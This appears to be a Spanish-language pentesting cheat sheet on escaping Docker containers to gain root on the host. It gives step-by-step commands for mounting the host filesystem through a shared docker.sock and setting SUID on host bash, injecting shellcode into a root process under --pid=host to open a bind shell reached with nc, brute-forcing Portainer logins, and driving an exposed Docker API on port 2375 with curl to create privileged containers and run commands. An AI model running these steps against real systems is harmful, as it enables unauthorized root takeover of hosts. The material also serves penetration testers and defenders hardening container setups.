Docker Escape / breakout

Linux privilege Escalation

vamos a ver como se puede abusar de Docker para escalar privilegios y salirse del contenedor hacia el sistema host. Vamos a ver ejemplos concretos y hablar de qué tan grave puede ser cada situación desde el punto de vista de la seguridad.

Lo que vamos a ver incluye:

  • Cómo usar montajes de volúmenes al lanzar contenedores para tener acceso a archivos importantes del host. Vamos a entender cómo alguien podría aprovechar esto para modificar archivos críticos y comprometer el sistema.

  • Qué pasa si se levantan contenedores con la opción de compartir procesos con el host (--pid=host) o con permisos privilegiados (--privileged). Vamos a ver cómo se podría inyectar un shellcode en un proceso que corre como root y tomar el control del sistema.

  • También veremos Portainer, una herramienta para administrar contenedores. Vamos a ver cómo, si no se configura bien, se puede usar para colarse en archivos sensibles del host y escaparse del contenedor.

  • Vamos a hablar de lo peligroso que puede ser dejar expuesta la API de Docker por el puerto 2375. Un atacante podría usarla para crear imágenes, lanzar contenedores o incluso ejecutar comandos con permisos altos directamente en la máquina host.

  • Abuso de grupos (Docker)

Abuso de monturas

si se comparte el docker.sock de la maquina victima esto es factible, ya que podremos listar las Docker images podremos ver las imágenes que están instaladas en la maquina host

enumerar las imágenes que estén instaladas

docker images

en el ejemplo, imaginemos ver una imagen de ubuntu si hacemos docker ps también veremos el contenedor.

por esto dentro del contenedor nos podemos aprovechar de la imagen de ubuntu para crear un nuevo contenedor con monturas

docker run --rm -dit -v /:/mnt/root --name privesc ubuntu
docker exec -it privesc bash
cd /mnt/root
cd bin
chmod u+s bash
# le pondremos a la bash de la maquina host permisos suid 
bash -p
# practicamente tambien podemos hacer lo que queramos

Despliegue de contenedores con la compartición de procesos

si el contenedor se desplego con el parámetro --pid=host podremos listar los procesos de la maquina host

ps -faux # listar los procesos del contenedor

en cualquier proceso que este siendo ejecutado por root podremos inyectar shellcode, instrucciones maliciosas en bajo nivel

# codigo en C que utilizaremos
github.com/00x0pf/0x00sec_code/blob/master/mem_inject/infect.c

usaremos este shellcode

exploit-db.com/exploits/41128

creando el exploit :

nano inject.c # pegamos el exploit de github y asignamos el shell code junto el numero de bytes que es

lo compilamos

gcc inject.c -o inject

uso :

./inject PID_DEL_PROCESO

si vemos este error (Ptrace Attach : Operation not permitted) significa que al contenedor le faltan capabilities, la de ptrace es sys_ptrace

--cap-add=SYS_PTRACE así asignamos la cap al desplegar el contenedor --privileged por si se ocupan mas caps

así se debería ver la respuesta, este exploit nos abrió el puerto 5600 en la maquina host para hacer una

solo hará falta conectarse

nc ip 5600

esto nos dará la consola en la maquina host.

Portainer

  • Que es Portainer? en servicio que permite de una forma centralizada gestionar contenedores desde una interfaz web

  • para acceder al panel del Portainer podemos hacer algún ataque de fuerza bruta para conseguir las credenciales de acceso

  • al hacer eso ya podemos seguir con la explotación:

  • vamos a containers y luego add containers

ponemos la imagen, vamos a las configuraciones avanzadas y ponemos que nos de una TTY interactiva luego vamos a la sección de al lado de volumes. crearemos un contenedor con monturas, despues de esto lanzamos el contenedor , ahora volvemos al inicio de containers, nos meteremos a nuestro contenedor nuevo y nos vamos a console, le decimos que nos de una bash, le damos a connect y ya estaremos como root

cd /mnt/root 
chmod u+s bash
bash -p

Docker API abuse

puertos donde corre la API de Docker :

  • 2375 - HTTP

  • 2376 - HTTPS esta API debe configurarse manualmente por el desarrollador

enviamos una cadena vacía a la maquina victima para saber si tiene la API de Docker corriendo

echo '' /dev/tcp/ip/docker_port
echo $? # el codigo de estado debe ser 0, que es exitoso
curl –insecure -X POST -H "Content-Type: application/json" https://ip:port/containers/create?name=cointaner_name -d '{"Image":"ubuntu:latest", "Cmd":["/usr/bin/tail", "-f", "1234", "/dev/null"], "Binds": [ "/:/mnt" ], "Privileged": true}'

esta solicitud nos dará como respuesta una id la cual deberemos copiar

  • si estas por http no hace falta poner el -insecure

  • recuerda adaptar la url a tu necesidad

  • si no sabemos que imágenes están descargadas podemos utilizar este comando primero :

curl http://ip:port/images/json | jq
curl http://ip:port/containers/json | jq # este comando es para ver los contenedores

siguiente comando :

curl -X POST -H "Content-Type: application/json" http://ip:port/containers/id_anteriormente_dada/start?name=test

nos desplegara un contenedor llamado test

ahora vamos con la ejecución de comandos, le daremos a la bash permisos SUID

curl –insecure -X POST -H "Content-Type: application/json" https://ip:port/containers/id_dada_anteriormente/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "chmod u+s /mnt/bin/bash"]}'

esto nos dará otra ID que también debemos copiar e introducirla en el siguiente comando :

curl -X POST -H "Content-Type: application/json" http://ip:port/exec/id_dada_anteriormente/start -d '{}'

Last updated